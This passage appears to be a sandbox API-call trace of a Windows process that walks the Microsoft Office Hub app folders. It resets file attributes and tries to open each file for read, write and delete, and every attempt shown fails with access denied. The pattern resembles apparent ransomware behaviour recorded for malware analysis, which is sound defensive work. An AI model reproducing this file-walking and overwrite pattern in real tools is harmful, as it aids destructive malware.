	[0081.973] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\FilesystemMetadata.xml.md", dwFileAttributes=0x20) returned 0
	[0081.973] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89850) returned 1

Thread:
	id = 499
	os_tid = 0x16f4

	[0077.409] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x2e11240
	[0077.409] wcscpy (in: _Dest=0x2e11240, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\images"
	[0077.409] wcscat (in: _Dest=0x2e11240, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\images\\"
	[0077.409] wcscat (in: _Dest=0x2e11240, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\images\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\images\\*"
	[0077.409] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e15b08
	[0077.409] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\images\\*", lpFindFileData=0x2e15b08 | out: lpFindFileData=0x2e15b08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62baf63d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabc41746, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62c6e205, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70c40
	[0079.435] wcscmp (_String1=".", _String2=".") returned 0
	[0079.435] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x2e15b08 | out: lpFindFileData=0x2e15b08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62baf63d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabc41746, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62c6e205, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.435] wcscmp (_String1="..", _String2=".") returned 1
	[0079.435] wcscmp (_String1="..", _String2="..") returned 0
	[0079.435] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x2e15b08 | out: lpFindFileData=0x2e15b08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62baf63d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x62baf63d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x62baf63d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x30e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeHubLogo_150x150.png", cAlternateFileName="")) returned 1
	[0079.435] wcscmp (_String1="OfficeHubLogo_150x150.png", _String2=".") returned 1
	[0079.435] wcscmp (_String1="OfficeHubLogo_150x150.png", _String2="..") returned 1
	[0079.435] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x47cc770
	[0079.436] wcscpy (in: _Dest=0x47cc770, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\images"
	[0079.436] wcscat (in: _Dest=0x47cc770, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\images\\"
	[0079.436] wcscat (in: _Dest=0x47cc770, _Source="OfficeHubLogo_150x150.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\images\\OfficeHubLogo_150x150.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\images\\OfficeHubLogo_150x150.png"

Thread:
	id = 500
	os_tid = 0x16f8

	[0077.410] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x47c92a0
	[0077.410] wcscpy (in: _Dest=0x47c92a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\loc" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\loc") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\loc"
	[0077.410] wcscat (in: _Dest=0x47c92a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\loc\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\loc\\"
	[0077.410] wcscat (in: _Dest=0x47c92a0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\loc\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\loc\\*"
	[0077.410] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e15fd8
	[0077.410] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\loc\\*", lpFindFileData=0x2e15fd8 | out: lpFindFileData=0x2e15fd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62c6e205, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabc423fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62c6e205, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87ff8
	[0081.807] wcscmp (_String1=".", _String2=".") returned 0
	[0081.807] FindNextFileW (in: hFindFile=0x2d87ff8, lpFindFileData=0x2e15fd8 | out: lpFindFileData=0x2e15fd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62c6e205, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabc423fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62c6e205, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.807] wcscmp (_String1="..", _String2=".") returned 1
	[0081.807] wcscmp (_String1="..", _String2="..") returned 0
	[0081.807] FindNextFileW (in: hFindFile=0x2d87ff8, lpFindFileData=0x2e15fd8 | out: lpFindFileData=0x2e15fd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62c6e205, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x62c9445e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x62c9445e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x274f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifestLoc.16.en-us.xml", cAlternateFileName="")) returned 1
	[0081.807] wcscmp (_String1="AppXManifestLoc.16.en-us.xml", _String2=".") returned 1
	[0081.807] wcscmp (_String1="AppXManifestLoc.16.en-us.xml", _String2="..") returned 1
	[0081.808] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x47cc668
	[0081.808] wcscpy (in: _Dest=0x47cc668, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\loc" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\loc") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\loc"
	[0081.808] wcscat (in: _Dest=0x47cc668, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\loc\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\loc\\"
	[0081.808] wcscat (in: _Dest=0x47cc668, _Source="AppXManifestLoc.16.en-us.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\loc\\AppXManifestLoc.16.en-us.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\loc\\AppXManifestLoc.16.en-us.xml"
	[0091.863] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\loc\\AppXManifestLoc.16.en-us.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\loc\\appxmanifestloc.16.en-us.xml")) returned 0x20
	[0091.865] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\loc\\AppXManifestLoc.16.en-us.xml", dwFileAttributes=0x20) returned 0
	[0091.865] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\loc\\AppXManifestLoc.16.en-us.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\loc\\appxmanifestloc.16.en-us.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.865] GetLastError () returned 0x5
	[0091.865] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\loc\\AppXManifestLoc.16.en-us.xml", dwFileAttributes=0x20) returned 0
	[0091.865] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cc668) returned 1
	[0091.865] FindNextFileW (in: hFindFile=0x2d87ff8, lpFindFileData=0x2e15fd8 | out: lpFindFileData=0x2e15fd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62c6e205, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x62c9445e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x62c9445e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x274f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifestLoc.16.en-us.xml", cAlternateFileName="")) returned 0
	[0091.865] FindClose (in: hFindFile=0x2d87ff8 | out: hFindFile=0x2d87ff8) returned 1
	[0091.865] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e15fd8) returned 1
	[0091.865] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c92a0) returned 1
	[0091.865] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ecc8) returned 1

Thread:
	id = 501
	os_tid = 0x16fc

	[0077.410] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x100) returned 0x4734360
	[0077.410] wcscpy (in: _Dest=0x4734360, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0077.410] wcscat (in: _Dest=0x4734360, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0077.410] wcscat (in: _Dest=0x4734360, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0077.410] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e153d0
	[0077.410] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x2e153d0 | out: lpFindFileData=0x2e153d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc3123ced, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xc3123ced, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc3123ced, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87f78
	[0081.808] wcscmp (_String1=".", _String2=".") returned 0
	[0081.808] FindNextFileW (in: hFindFile=0x2d87f78, lpFindFileData=0x2e153d0 | out: lpFindFileData=0x2e153d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc3123ced, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xc3123ced, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc3123ced, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.812] wcscmp (_String1="..", _String2=".") returned 1
	[0081.812] wcscmp (_String1="..", _String2="..") returned 0
	[0081.812] FindNextFileW (in: hFindFile=0x2d87f78, lpFindFileData=0x2e153d0 | out: lpFindFileData=0x2e153d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc3123ced, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xc3123ced, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc3123ced, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0081.812] FindClose (in: hFindFile=0x2d87f78 | out: hFindFile=0x2d87f78) returned 1
	[0081.812] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e153d0) returned 1
	[0081.812] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734360) returned 1
	[0081.812] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ed90) returned 1

Thread:
	id = 502
	os_tid = 0x1700

	[0077.411] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\office.odf" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\office.odf")) returned 0x20
	[0081.996] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\office.odf", dwFileAttributes=0x20) returned 0
	[0085.248] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\office.odf" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\office.odf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0085.249] GetLastError () returned 0x5
	[0085.249] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\office.odf", dwFileAttributes=0x20) returned 0
	[0085.249] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e11e10) returned 1

Thread:
	id = 503
	os_tid = 0x1704

	[0077.412] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2e11900
	[0077.412] wcscpy (in: _Dest=0x2e11900, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16"
	[0077.412] wcscat (in: _Dest=0x2e11900, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16\\"
	[0077.412] wcscat (in: _Dest=0x2e11900, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16\\*"
	[0077.412] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e16240
	[0077.412] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16\\*", lpFindFileData=0x2e16240 | out: lpFindFileData=0x2e16240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x636ae280, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabc4357d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x63720995, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a77d0
	[0081.999] wcscmp (_String1=".", _String2=".") returned 0
	[0081.999] FindNextFileW (in: hFindFile=0x46a77d0, lpFindFileData=0x2e16240 | out: lpFindFileData=0x2e16240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x636ae280, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabc4357d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x63720995, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.999] wcscmp (_String1="..", _String2=".") returned 1
	[0081.999] wcscmp (_String1="..", _String2="..") returned 0
	[0081.999] FindNextFileW (in: hFindFile=0x46a77d0, lpFindFileData=0x2e16240 | out: lpFindFileData=0x2e16240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x636ae280, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabc4416c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x636ae280, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0081.999] wcscmp (_String1="1033", _String2=".") returned 1
	[0081.999] wcscmp (_String1="1033", _String2="..") returned 1
	[0081.999] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x4772f30
	[0081.999] wcscpy (in: _Dest=0x4772f30, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16"
	[0081.999] wcscat (in: _Dest=0x4772f30, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16\\"
	[0081.999] wcscat (in: _Dest=0x4772f30, _Source="1033" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16\\1033") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16\\1033"
	[0091.662] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477fa70
	[0091.662] wcscpy (in: _Dest=0x477fa70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16\\1033" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16\\1033") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16\\1033"
	[0091.662] wcscat (in: _Dest=0x477fa70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16\\1033\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16\\1033\\"
	[0091.662] wcscat (in: _Dest=0x477fa70, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16\\1033\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16\\1033\\*"
	[0091.662] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x50318b0
	[0091.662] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16\\1033\\*", lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x636ae280, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabc4416c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x636ae280, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b4e8
	[0091.663] wcscmp (_String1=".", _String2=".") returned 0
	[0091.663] FindNextFileW (in: hFindFile=0x477b4e8, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x636ae280, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabc4416c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x636ae280, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.663] wcscmp (_String1="..", _String2=".") returned 1
	[0091.663] wcscmp (_String1="..", _String2="..") returned 0
	[0091.663] FindNextFileW (in: hFindFile=0x477b4e8, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636ae280, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x636ae280, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x636ae280, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1537e, dwReserved0=0x0, dwReserved1=0x0, cFileName="getofficecarousel.dcp", cAlternateFileName="")) returned 1
	[0091.663] wcscmp (_String1="getofficecarousel.dcp", _String2=".") returned 1
	[0091.663] wcscmp (_String1="getofficecarousel.dcp", _String2="..") returned 1
	[0091.663] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x100) returned 0x50274b0
	[0091.663] wcscpy (in: _Dest=0x50274b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16\\1033" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16\\1033") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16\\1033"
	[0091.663] wcscat (in: _Dest=0x50274b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16\\1033\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16\\1033\\"
